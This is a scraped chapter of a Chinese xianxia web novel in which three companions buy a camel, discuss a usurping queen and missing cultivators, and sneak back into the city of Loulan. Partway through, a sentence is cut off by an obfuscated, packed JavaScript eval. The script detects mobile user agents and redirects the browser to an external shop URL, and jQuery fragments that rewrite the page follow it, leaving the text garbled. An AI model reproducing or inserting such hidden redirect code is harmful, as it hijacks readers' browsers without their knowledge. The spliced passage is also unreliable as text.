21. 黄沙之下(九)

作品:《限制文改纯情文的正确方式

    祝湫悄悄把脸挪开了点。


    她终于知道阿芙娜疯疯癫癫是在干什么了。


    不过看风不渡的样子,他好像知道点什么?祝湫眼珠转了转,到底是没把问题问出口,一来,古往今来的历史告诉她,知道的越多死的越快,二来,瞧他这吊儿郎当的样子,问了估计也不会说吧。


    风不渡似是想到什么,又接着说:“祝姑娘,你觉得楼兄如何啊?”


    祝湫愣了下,谨慎地瞧了眼楼危雪,他虽然没动作,但祝湫觉得这是一道送命题,她斟酌道:“我觉得他是个好人。”


    “噗。”


    风不渡有意无意的瞥视在楼危雪看来简直和挑衅没什么两样,他的脸色黑下来,睁开眼瞪了躲在一边说小话的两人一眼,便扭回头去一言不发。


    “你看,真小气。”


    风不渡继续火上添油,在感受到冻掉舌头的寒气后耸了耸肩,哼着不知名的曲调歪歪扭扭靠着石头休息去了。


    祝湫愣愣地看着地上翻滚的沙石,不知道在想什么,气氛一时陷入了沉默的境地。


    直到远方响起驼铃的声音,祝湫才从思绪中脱离,她跟着两人一同往那个方向看去,只见一个头戴白巾的人牵着一匹骆驼,慢慢朝这边走过来。


    这种时候,在大沙漠有个人牵着骆驼走过来,而驼背上看不见任何货物,是个正常人看着都觉得有问题。


    然而风不渡一听见驼铃声便喜上眉梢,鲤鱼打挺起身冲过去,口中高呼:“驼兄!这里!”


    待那人走近,祝湫才看清,原来是一个胡子拉碴的约莫中年的驼背男人牵着骆驼,他一看见风不渡,眼中便闪起精光。


    “说好的骆驼,三两纹银,一钱不少。”


    男人操着一口浓厚口音的沙哑声音说。


    “哎,驼兄这就是你的不是了,朋友兄弟间怎的见面便谈钱,伤感情。”


    风不渡连连摆手,那中年男人冷冷一笑:“你说的好听,前次来收钱时不还与我说亲兄弟就是要明算账吗?”


    “一码归一码嘛。”


    “我呸。老疯子,你以为我不知道?别想赖账,快快把钱给我,否则今日你不但拿不到骆驼,也别想走出这片沙漠。”


    男人狠狠啐他一口,随即伸出手,掌心向上,眯着眼睛等着。


    风不渡哀嚎连连:“你这老滑头,真是越老越难伺候了,行行行,给你!”


    他伸手从腰包里掏出三两碎银轻巧一丢,男人接住了,反手放进袖口里,便把拴着骆驼的绳索扔进风不渡手中。


    “哼。”


    一阵风吹过,那地儿就没了人影。


    风不渡牵着骆驼傻笑,楼危雪只淡淡瞧了一眼,口中丢出几个字:“赊账三两,连上前几月的酒钱,回去找玄月宫赔上。”


    风不渡的笑僵住了。


    “楼兄……”


    “加上利息,连本带利,多说一个字翻一倍。”


    风不渡闭嘴了。


    他确实付给了那男人钱买下这匹骆驼,然而付的钱却是从楼危雪口袋里出的,祝湫望着他一番操作,给自己加了一堆债务,心生同情。


    她靠近骆驼,新奇地摸了摸,然后问:“为什么要买骆驼?”


    风不渡方才还垂头丧气,这一阵听见祝湫问,又打起精神道:“买骆驼自然有用,咱们进去一趟总不能空着手出来,在下和楼兄还有祝姑娘帮楼兰解决了这么大事,他们总得给点谢礼,当然,这谢礼我们四六分,我六,你们四。”


    “我们六,你四。”


    “哎楼兄,我帮了你这么多忙,多要点可没错啊,你们玄月宗宫门那么大,什么好东西没有,怎么还跟我抢?”


    楼危雪冷笑:“帮忙,你这不是在还债吗?自己数数因为你,玄月宫添了多少乱子。”


    风不渡挠挠头,只能退一步:“那好吧,我们对半分。”


    “我七,你三。”


    风不渡瞪大眼睛,祝湫蹲在一旁津津有味地看他们争论,最后以风不渡败落为终,他捂着额头,满脸痛苦,有口不能言,只能用幽怨的眼神瞅着楼危雪。


    热闹看够了,她站起身,凑到风不渡面前:“风师兄,你千里迢迢赶来沙漠,不只是为了救我们吧?”


    风不渡叹气:“当然不是,楼兄修为比我高,要救也是他来救我,我来此还有第二个目的——我受人之托要寻回他的爱女。”


    “爱女?”


    “姑娘还不知晓,近来修真界与人间人口失踪频繁,尤其是修真界,每日都有近千修真者失踪,万兽宗掌门独女便是在半年前于万山谷失踪,他们掌门与我有点交情,求到我这里来,对朋友,风某向来两肋插刀。”


    他说完打开水袋猛喝一口又接着说:“我一路追查,从现有的蛛丝马迹一直追查到他们贩人的中转站,福兴客栈,一番逼问兼调查下,发现这些都和楼兰的新国王阿芙娜脱不开干系,恰好碰上楼兄,就一道来了。”


    祝湫咂嘴,没想到个中事情这么复杂,遂感叹:“这里水好深啊。”


    是她这条咸鱼能搅和进来的吗?


    “阿芙娜……怎么什么都和她有关系。”


    她小声嘀咕,风不渡适时插嘴道:“祝姑娘,阿芙娜并不是通过正当手段上位的,你看过画本子吧,她毒杀了自己的父母,以某种不正当名义杀掉了自己的兄弟,把其余的妹妹们卖出去,最后只留下一个空有继承位的弟弟,把他囚禁在宫殿深处,然后以他自愿让位的名义坐上了王位。”


    “楼兰国王这么菜鸡吗?如果我没算错,那个时候我的阿芙娜的修为应该打不过前楼兰国王吧?”


    祝湫十分惊讶。


    “当然不是,据人说,从某一刻开始,阿芙娜的修为突然暴涨,整个楼兰连同老国王都打不过她,一个不受宠的,被锁在深宫的公主,突然强大到整个王国都不能奈何,想想都知道那女人应该是用了玄元诀,而失踪的那些人,到底去了哪里,我想你应该非常清楚了吧。”


    祝湫点点头,确实很清楚,堆满骸骨的大坑她至今难忘。


    “还有,据和楼兰交好的唐门说,在阿芙娜登基那天的前几个时辰,他们曾接到过自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192734|196067||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    楼兰王室传来的求救信号,不过很短暂,在他们犹豫是否出手的时候,却已经传来了阿芙娜登基的消息。”


    风不渡漫不经心玩着刀穗,那刀穗已经掉色,看起来十分老旧。


    祝湫听完仔细想了想,过了一会儿,她又反应过来:“所以我们现在是……”


    “嗯。”


    风不渡沉重地点了下头:“我们得返回到楼兰古国主城里。”


    那我们刚才费劲巴拉地逃出来究竟是为了什么?


    祝湫眼神恍惚,楼危雪伸手轻轻捏了捏她的肩膀,轻咳一声:“跟紧我,不会有事。”


    “你的伤……”


    “无碍,只是半吊子的金丹修士。”想了想他又不情愿地补充:“有他在,我可以放心打。”


    啊?


    祝湫从他的话里听出了另一层意思,默默丈量了一下自己,默然片刻,才开口:“要不我留在这里吧?”


    修为太低,她去了帮不上什么忙不说,还容易添乱,万一一个不察,疯女人发疯,她的小命就得交代在那里,她还想多活几年来着。


    楼危雪的语气立刻沉下来:“不行。”


    “为什么不行?”


    问他的时候他又偏开头不说话了。


    风不渡拍拍楼危雪的肩膀,用只有两人的声音道:“楼兄,有时候人呐,就得坦诚一点。”


    “祝姑娘,并非我们想带你去送死,而是这沙漠人烟荒凉,你遇到危险连个叫的人都没有,我们可以在此设置结界,给你留下充足的食物,但谁也不知道还会不会有沙虫之类的意外出现,现在把你送出去也不现实,所以就委屈你跟我们再回去一趟了。”


    好吧,可以理解,他都这么说了,祝湫也不再多说什么,三人达成共识,趁着天还没黑透赶忙抄另一条小路去到楼兰古城。


    才到城外,他们趴在沙坑下,静静观察着城邦外部。


    守卫的人员增加了不止一倍,连巡逻的范围都扩大了不少,祝湫扯着楼危雪的袖子,小声吐槽:“早知道要回来,我们就不跑了,现在跑了还得回来,进都进不去了。”


    呜——


    声音响起的瞬间,楼危雪自然地把祝湫笼在自己袖袍下,一股清凉的灵力顺着祝湫的身体往下流,只是刹那,楼危雪的袖袍一挥,又回归原位。


    一切快的就像是幻觉一样。


    那声音响起后,祝湫瞧见那匹骆驼已经嗒嗒跑着冲到了城门口,士兵们瞬间警惕起来,一人吹响号角,另一群人围住了骆驼。


    祝湫:?


    不是要用它载东西吗?这是在干嘛?


    也许是她疑惑的气息已经快扑到风不渡的脸上,这浪荡子笑嘻嘻地说:“这可是三两银子才买来的,自然要物尽其用,走吧,他们的注意被吸引了,我们从侧面绕进去。”


    说罢,他已经一马当先窜了出去,残影掠过城池,除了火焰微动,竟是无人察觉。


    楼危雪刚要走,祝湫拽着他的袖子,瞪圆眼睛,自觉地把自己放在了他的怀里,就等着走了。


    楼危雪:……